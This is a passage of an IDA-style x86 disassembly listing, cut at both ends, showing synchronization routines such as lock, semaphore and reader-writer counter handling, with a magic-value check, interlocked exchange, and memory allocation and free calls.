[esp+0A0h+var_4C] mov esi, dword_5118E0 add esp, 10h test eax, eax pop edi jz short loc_432A78 push eax call esi loc_432A78: ; CODE XREF: sub_432A20+53j lea eax, [esp+8Ch+var_58] push eax call sub_402252 mov eax, [esp+90h+var_80] add esp, 4 test eax, eax jz short loc_432A9A test [esp+8Ch+var_8], 1 jnz short loc_432A9A push eax call esi loc_432A9A: ; CODE XREF: sub_432A20+11j ; sub_432A20+6Bj ... pop esi pop ebx add esp, 84h retn sub_432A20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432AE0 proc near ; CODE XREF: sub_401DDEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push 14h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_432B01 pop edi pop esi pop ebp mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_432B01: ; CODE XREF: sub_432AE0+15j mov edi, [esp+10h+arg_8] mov ebp, [esp+10h+arg_4] mov dword ptr [esi], 0FFFFFFFFh mov [esi+4], ebp lea ebx, [edi+8] mov [esi+8], edi push ebx call sub_402248 add esp, 4 mov [esp+10h+arg_4], eax test eax, eax jz short loc_432B42 push esi call sub_402252 push esi nop call near ptr 77C2C21Bh mov eax, [esp+18h+arg_4] add esp, 8 pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_432B42: ; CODE XREF: sub_432AE0+47j mov eax, [edi+0Ch] push ebx mov [esi+10h], eax mov [edi+0Ch], esi call sub_4010C3 add esp, 4 test ebp, ebp jz short loc_432B67 mov ecx, [ebp+80h] mov [esi+0Ch], ecx mov [ebp+80h], esi loc_432B67: ; CODE XREF: sub_432AE0+76j mov edx, [esp+10h+arg_0] pop edi xor eax, eax mov [edx], esi pop esi pop ebp pop ebx retn sub_432AE0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432BB0 proc near ; CODE XREF: sub_40105Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_432BD7 mov eax, [esi+8] test eax, eax jnz short loc_432BD7 mov eax, [esi+4] test eax, eax jnz short loc_432BD7 push esi call sub_402252 push esi nop call near ptr 77C2C21Bh add esp, 8 loc_432BD7: ; CODE XREF: sub_432BB0+7j ; sub_432BB0+Ej ... pop esi retn sub_432BB0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432BF0 proc near ; CODE XREF: sub_40131Bj arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push esi jz short loc_432C5D mov esi, [ebx+80h] test esi, esi jz short loc_432C5D push edi loc_432C05: ; CODE XREF: sub_432BF0+6Aj push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_432C58 mov edi, [esi+8] test edi, edi jz short loc_432C33 push edi call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_432C33 mov edi, [edi+4] test edi, edi jz short loc_432C33 push eax call edi ; free add esp, 4 loc_432C33: ; CODE XREF: sub_432BF0+27j ; sub_432BF0+34j ... mov eax, [esi+0Ch] mov dword ptr [esi+4], 0 push esi mov [ebx+80h], eax call sub_4010C3 push esi call sub_40105F mov esi, [ebx+80h] add esp, 8 loc_432C58: ; CODE XREF: sub_432BF0+20j test esi, esi jnz short loc_432C05 pop edi loc_432C5D: ; CODE XREF: sub_432BF0+8j ; sub_432BF0+12j pop esi pop ebx retn sub_432BF0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_432C80 proc near ; CODE XREF: sub_401DEDj mov eax, dword_5103B4 push ebx push edi push eax call sub_401190 sub_432C80 endp ; --------------------------------------------------------------------------- db 8Bh, 5Ch, 24h dd 4C48310h, 8B02FB83h, 830D74F8h, 87401FBh, 0D7E8016Ah dd 90778071h, 674FF85h, 17C47F6h, 8B562374h, 48F633C3h dd 75480874h, 0FFCE8308h, 778B03EBh, 0EB01E814h, 0E856FFFCh dd 77807637h, 4C48390h, 0E8016A5Eh, 0FFFCEE46h, 8304C483h dd 57533CC7h, 408AE890h, 90907780h, 90909090h, 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_432D10: ; CODE XREF: ___:00401B22j push esi mov esi, [esp+8] push esi call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_432D2F loc_432D22: ; CODE XREF: ___:00432D2Dj push esi call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_432D22 loc_432D2F: ; CODE XREF: ___:00432D20j pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432D50: ; CODE XREF: ___:00401DF7j xor eax, eax retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432D70 proc near ; CODE XREF: sub_4012D0j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] lock cmpxchg [ecx], edx mov [ebp+var_4], eax pop edx pop ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_432D70 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432DB0 proc near ; CODE XREF: sub_401C3Aj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 lea eax, [esp+8+var_4] lea ecx, [esp+8+var_8] push esi push eax push ecx xor esi, esi nop call near ptr 2790238h push eax call near ptr 274097Eh nop test eax, eax jz short loc_432DF2 mov edx, [esp+0Ch+var_8] xor ecx, ecx mov eax, 1 loc_432DDC: ; CODE XREF: sub_432DB0+33j test eax, edx jz short loc_432DE1 inc ecx loc_432DE1: ; CODE XREF: sub_432DB0+2Ej shl eax, 1 jnz short loc_432DDC mov edx, [esp+0Ch+arg_0] mov eax, esi pop esi mov [edx], ecx add esp, 8 retn ; --------------------------------------------------------------------------- loc_432DF2: ; CODE XREF: sub_432DB0+1Fj mov eax, 0Bh pop esi add esp, 8 retn sub_432DB0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E20 proc near ; CODE XREF: sub_40185Cj arg_0 = dword ptr 4 push esi push offset dword_510960 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_432E54 push esi push ecx call sub_401F91 add esp, 8 mov esi, eax push offset dword_510960 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_432E54: ; CODE XREF: sub_432E20+17j test eax, eax jnz short loc_432E5D mov esi, 16h loc_432E5D: ; CODE XREF: sub_432E20+36j push offset dword_510960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_432E20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E90 proc near ; CODE XREF: sub_401861j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+14h] lea ecx, [esi+4] neg eax push ecx mov [esi+0Ch], eax mov dword ptr [esi+14h], 0 call sub_4010C3 push esi call sub_4010C3 add esp, 8 pop esi retn sub_432E90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432ED0 proc near ; CODE XREF: sub_401F91j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi xor esi, esi test eax, eax jnz short loc_432EE2 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432EE2: ; CODE XREF: sub_432ED0+9j mov eax, [esp+4+arg_4] push ebx test eax, eax push edi jz short loc_432F02 cmp dword ptr [eax], 0 jz short loc_432F02 mov ecx, [esp+0Ch+arg_0] mov edi, 16h mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F02: ; CODE XREF: sub_432ED0+1Aj ; sub_432ED0+1Fj push 1Ch push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_432F26 mov ecx, [esp+0Ch+arg_0] mov edi, 0Ch mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F26: ; CODE XREF: sub_432ED0+43j push 0 push esi mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov dword ptr [esi+14h], 0 call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_432F84 lea ebx, [esi+4] push eax push ebx call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_432F7B push eax lea eax, [esi+8] push eax call sub_40154B mov edi, eax add esp, 8 test edi, edi jz short loc_432F9C push ebx call sub_402252 add esp, 4 loc_432F7B: ; CODE XREF: sub_432ED0+8Dj push esi call sub_402252 add esp, 4 loc_432F84: ; CODE XREF: sub_432ED0+7Aj push esi nop call near ptr 77C2C21Bh mov ecx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F9C: ; CODE XREF: sub_432ED0+A0j mov ecx, [esp+0Ch+arg_0] xor edi, edi mov eax, edi mov dword ptr [esi+18h], 0FACADE2h pop edi mov [ecx], esi pop ebx pop esi retn sub_432ED0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433000: ; CODE XREF: ___:004018BBj mov eax, [esp+4] push ebx push ebp push esi push edi xor ebx, ebx xor edi, edi xor ebp, ebp test eax, eax jz loc_43313B mov esi, [eax] test esi, esi jz loc_43313B cmp esi, 0FFFFFFFFh jz loc_4330F7 cmp dword ptr [esi+18h], 0FACADE2h jnz loc_43313B push esi call sub_402248 add esp, 4 test eax, eax jnz loc_433140 lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_433069 push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_433069: ; CODE XREF: ___:00433057j mov eax, [esi+10h] test eax, eax jg short loc_4330DD mov eax, [esi+0Ch] mov ecx, [esi+14h] cmp eax, ecx jg short loc_4330DD push edi mov dword ptr [esi+18h], 0 call sub_4010C3 add esp, 4 mov ebx, eax test ebx, ebx push esi jz short loc_4330A0 call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_4330A0: ; CODE XREF: ___:0043308Fj call sub_4010C3 add esp, 4 test eax, eax jnz loc_433140 mov ecx, [esp+14h] lea edx, [esi+8] push edx mov [ecx], eax call sub_401AA5 push edi mov ebx, eax call sub_402252 push esi mov edi, eax call sub_402252 push esi mov ebp, eax call near ptr 77C2C21Bh nop add esp, 10h jmp short loc_433123 ; --------------------------------------------------------------------------- loc_4330DD: ; CODE XREF: ___:0043306Ej ; ___:00433078j push edi call sub_4010C3 push esi mov ebx, eax call sub_4010C3 add esp, 8 mov edi, eax mov ebp, 10h jmp short loc_433123 ; --------------------------------------------------------------------------- loc_4330F7: ; CODE XREF: ___:00433023j push offset dword_510960 nop call near ptr 7C901005h mov eax, [esp+14h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_433113 mov dword ptr [eax], 0 jmp short loc_433118 ; --------------------------------------------------------------------------- loc_433113: ; CODE XREF: ___:00433109j mov ebx, 10h loc_433118: ; CODE XREF: ___:00433111j push offset dword_510960 call near ptr 7C9010EDh nop loc_433123: ; CODE XREF: ___:004330DBj ; ___:004330F5j test ebx, ebx jz short loc_43312E pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43312E: ; CODE XREF: ___:00433125j test edi, edi mov eax, edi jnz short loc_433140 pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43313B: ; CODE XREF: ___:00433010j ; ___:0043301Aj ... mov eax, 16h loc_433140: ; CODE XREF: ___:00433041j ; ___:004330AAj ... pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_4331B0: ; CODE XREF: ___:00401EA6j push esi push 4 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 test eax, eax jnz short loc_4331D3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4331D3: ; CODE XREF: ___:004331C2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433200: ; CODE XREF: ___:0040179Ej mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_433221 mov eax, [ecx] test eax, eax jz short loc_433221 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_433221: ; CODE XREF: ___:00433209j ; ___:0043320Fj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433240: ; CODE XREF: ___:00401136j mov eax, [esp+4] test eax, eax jz short loc_43325D mov eax, [eax] test eax, eax jz short loc_43325D mov ecx, [esp+8] test ecx, ecx jz short loc_43325D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43325D: ; CODE XREF: ___:00433246j ; ___:0043324Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433280: ; CODE XREF: ___:004015A5j mov eax, [esp+4] test eax, eax jz short loc_4332AA mov ecx, [eax] test ecx, ecx jz short loc_4332AA mov eax, [esp+8] cmp eax, 1 jz short loc_43329E test eax, eax jnz short loc_4332AA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43329E: ; CODE XREF: ___:00433295j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_4332AA: ; CODE XREF: ___:00433286j ; ___:0043328Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4332C0: ; CODE XREF: ___:00402095j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43337A mov eax, [esi] test eax, eax jz loc_43337A cmp eax, 0FFFFFFFFh jnz short loc_4332F4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4332F4 cmp eax, 10h jnz loc_43337F loc_4332F4: ; CODE XREF: ___:004332DCj ; ___:004332E9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43337A push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_43337F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43336D lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_43333D push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43333D: ; CODE XREF: ___:0043332Cj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43336D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43336D: ; CODE XREF: ___:0043331Aj ; ___:0043335Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43337A: ; CODE XREF: ___:004332C9j ; ___:004332D3j ... mov eax, 16h loc_43337F: ; CODE XREF: ___:004332EEj ; ___:0043330Aj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4333D0: ; CODE XREF: ___:004016A4j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43349F mov eax, [esi] test eax, eax jz loc_43349F cmp eax, 0FFFFFFFFh jnz short loc_433404 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433404 cmp eax, 10h jnz loc_4334A4 loc_433404: ; CODE XREF: ___:004333ECj ; ___:004333F9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_43349F mov ebx, [esp+14h] push ebx push esi call sub_401BD6 add esp, 8 test eax, eax jnz short loc_4334A4 mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_433492 lea edi, [esi+4] push ebx push edi call sub_401BD6 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_433462 cmp ebx, 274Ch jnz short loc_433453 inc dword ptr [esi+14h] loc_433453: ; CODE XREF: ___:0043344Ej push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433462: ; CODE XREF: ___:00433446j mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_433492 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433492: ; CODE XREF: ___:00433433j ; ___:00433481j push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43349F: ; CODE XREF: ___:004333D9j ; ___:004333E3j ... mov eax, 16h loc_4334A4: ; CODE XREF: ___:004333FEj ; ___:00433423j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4334F0: ; CODE XREF: ___:004015D2j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_4335E6 mov eax, [esi] test eax, eax jz loc_4335E6 cmp eax, 0FFFFFFFFh jnz short loc_433527 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433527 cmp eax, 10h jnz loc_4335EB loc_433527: ; CODE XREF: ___:0043350Fj ; ___:0043351Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4335E6 push esi call sub_402248 add esp, 4 test eax, eax jnz loc_4335EB lea ebp, [esi+4] push ebp call sub_402248 mov edi, eax add esp, 4 test edi, edi jz short loc_43356B push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43356B: ; CODE XREF: ___:00433557j mov eax, [esi+10h] test eax, eax jnz short loc_4335DA mov eax, [esi+14h] test eax, eax jle short loc_433588 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_433588: ; CODE XREF: ___:00433577j mov eax, [esi+0Ch] test eax, eax jle short loc_4335DA neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401861 push eax call sub_401663 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_4335AB: ; CODE XREF: ___:004335C0j push ebp push ebx call sub_401203 mov edi, eax add esp, 8 test edi, edi jnz short loc_4335C2 mov eax, [esi+14h] test eax, eax jl short loc_4335AB loc_4335C2: ; CODE XREF: ___:004335B9j xor ecx, ecx test edi, edi setnz cl push ecx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_4335DD mov [esi+0Ch], edi loc_4335DA: ; CODE XREF: ___:00433570j ; ___:0043358Dj inc dword ptr [esi+10h] loc_4335DD: ; CODE XREF: ___:004335D5j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4335E6: ; CODE XREF: ___:004334FCj ; ___:00433506j ... mov eax, 16h loc_4335EB: ; CODE XREF: ___:00433521j ; ___:00433541j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_433650: ; CODE XREF: ___:00401960j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_433751 mov eax, [esi] test eax, eax jz loc_433751 cmp eax, 0FFFFFFFFh jnz short loc_433687 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433687 cmp eax, 10h jnz loc_433756 loc_433687: ; CODE XREF: ___:0043366Fj ; ___:0043367Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_433751 mov edi, [esp+20h] push edi push esi call sub_401BD6 add esp, 8 test eax, eax jnz loc_433756 lea ebp, [esi+4] push edi push ebp call sub_401BD6 mov edi, eax add esp, 8 test edi, edi jz short loc_4336D1 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4336D1: ; CODE XREF: ___:004336BDj mov eax, [esi+10h] test eax, eax jnz short loc_433745 mov eax, [esi+14h] test eax, eax jle short loc_4336EE mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_4336EE: ; CODE XREF: ___:004336DDj mov eax, [esi+0Ch] test eax, eax jle short loc_433745 neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401861 push eax call sub_401663 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_433711: ; CODE XREF: ___:0043372Bj mov ecx, [esp+24h] push ecx push ebp push ebx call sub_4011E0 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_43372D mov eax, [esi+14h] test eax, eax jl short loc_433711 loc_43372D: ; CODE XREF: ___:00433724j xor edx, edx test edi, edi setnz dl push edx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_433748 mov [esi+0Ch], edi loc_433745: ; CODE XREF: ___:004336D6j ; ___:004336F3j inc dword ptr [esi+10h] loc_433748: ; CODE XREF: ___:00433740j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_433751: ; CODE XREF: ___:0043365Cj ; ___:00433666j ... mov eax, 16h loc_433756: ; CODE XREF: ___:00433681j ; ___:004336A6j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4337B0: ; CODE XREF: ___:004015C8j mov eax, [esp+4] push ebx push esi push edi test eax, eax jz short loc_433836 mov esi, [eax] test esi, esi jz short loc_433836 cmp esi, 0FFFFFFFFh jnz short loc_4337CC pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4337CC: ; CODE XREF: ___:004337C4j cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_433836 mov eax, [esi+10h] test eax, eax jnz short loc_433814 lea ebx, [esi+4] push ebx call sub_402248 mov edi, eax add esp, 4 test edi, edi jz short loc_4337F2 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4337F2: ; CODE XREF: ___:004337ECj mov eax, [esi+14h] inc eax mov [esi+14h], eax jnz short loc_433809 add esi, 8 push esi call sub_401E6F add esp, 4 mov edi, eax loc_433809: ; CODE XREF: ___:004337F9j push ebx call sub_4010C3 add esp, 4 jmp short loc_43382C ; --------------------------------------------------------------------------- loc_433814: ; CODE XREF: ___:004337DAj dec eax mov [esi+10h], eax lea eax, [esi+4] push eax call sub_4010C3 push esi mov edi, eax call sub_4010C3 add esp, 8 loc_43382C: ; CODE XREF: ___:00433812j test edi, edi jz short loc_43383B mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433836: ; CODE XREF: ___:004337B9j ; ___:004337BFj ... mov eax, 16h loc_43383B: ; CODE XREF: ___:0043382Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_433870: ; CODE XREF: ___:0040153Cj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43392A mov eax, [esi] test eax, eax jz loc_43392A cmp eax, 0FFFFFFFFh jnz short loc_4338A4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4338A4 cmp eax, 10h jnz loc_43392F loc_4338A4: ; CODE XREF: ___:0043388Cj ; ___:00433899j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43392A push esi call sub_401785 add esp, 4 test eax, eax jnz short loc_43392F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43391D lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_4338ED push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4338ED: ; CODE XREF: ___:004338DCj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43391D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43391D: ; CODE XREF: ___:004338CAj ; ___:0043390Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43392A: ; CODE XREF: ___:00433879j ; ___:00433883j ... mov eax, 16h loc_43392F: ; CODE XREF: ___:0043389Ej ; ___:004338BAj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433980: ; CODE XREF: ___:00401FF0j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_433A61 mov eax, [esi] test eax, eax jz loc_433A61 cmp eax, 0FFFFFFFFh jnz short loc_4339B4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4339B4 cmp eax, 10h jnz loc_433A66 loc_4339B4: ; CODE XREF: ___:0043399Cj ; ___:004339A9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_433A61 push esi call sub_401785 add esp, 4 test eax, eax jnz loc_433A66 lea ebx, [esi+4] push ebx call sub_401785 mov edi, eax add esp, 4 test edi, edi jz short loc_4339F9 push esi call sub_4010C3 add esp, 4 test eax, eax jnz short loc_433A66 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4339F9: ; CODE XREF: ___:004339E4j mov eax, [esi+10h] test eax, eax jnz short loc_433A49 mov eax, [esi+14h] test eax, eax jle short loc_433A16 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_433A16: ; CODE XREF: ___:00433A05j mov eax, [esi+0Ch] test eax, eax jle short loc_433A54 push ebx call sub_4010C3 add esp, 4 mov edi, eax test edi, edi push esi jz short loc_433A3B call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A3B: ; CODE XREF: ___:00433A2Bj call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jnz short loc_433A4E loc_433A49: ; CODE XREF: ___:004339FEj mov edi, 10h loc_433A4E: ; CODE XREF: ___:00433A47j mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A54: ; CODE XREF: ___:00433A1Bj mov eax, edi mov dword ptr [esi+10h], 1 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A61: ; CODE XREF: ___:00433989j ; ___:00433993j ... mov eax, 16h loc_433A66: ; CODE XREF: ___:004339AEj ; ___:004339CEj ... pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433AB0: ; CODE XREF: ___:00401C0Dj mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jz short loc_433AC7 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_433AC7: ; CODE XREF: ___:00433ABFj mov eax, [esp+8] neg eax sbb eax, eax and eax, 30h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433AF0: ; CODE XREF: ___:00401EB5j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433B17 mov eax, [esp+8] test eax, eax jz short loc_433B17 cmp eax, 2 jbe short loc_433B17 mov dword ptr [eax], 0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_433B17: ; CODE XREF: ___:00433AFFj ; ___:00433B07j ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433B30: ; CODE XREF: ___:0040117Cj push ebx mov ebx, [esp+8] push 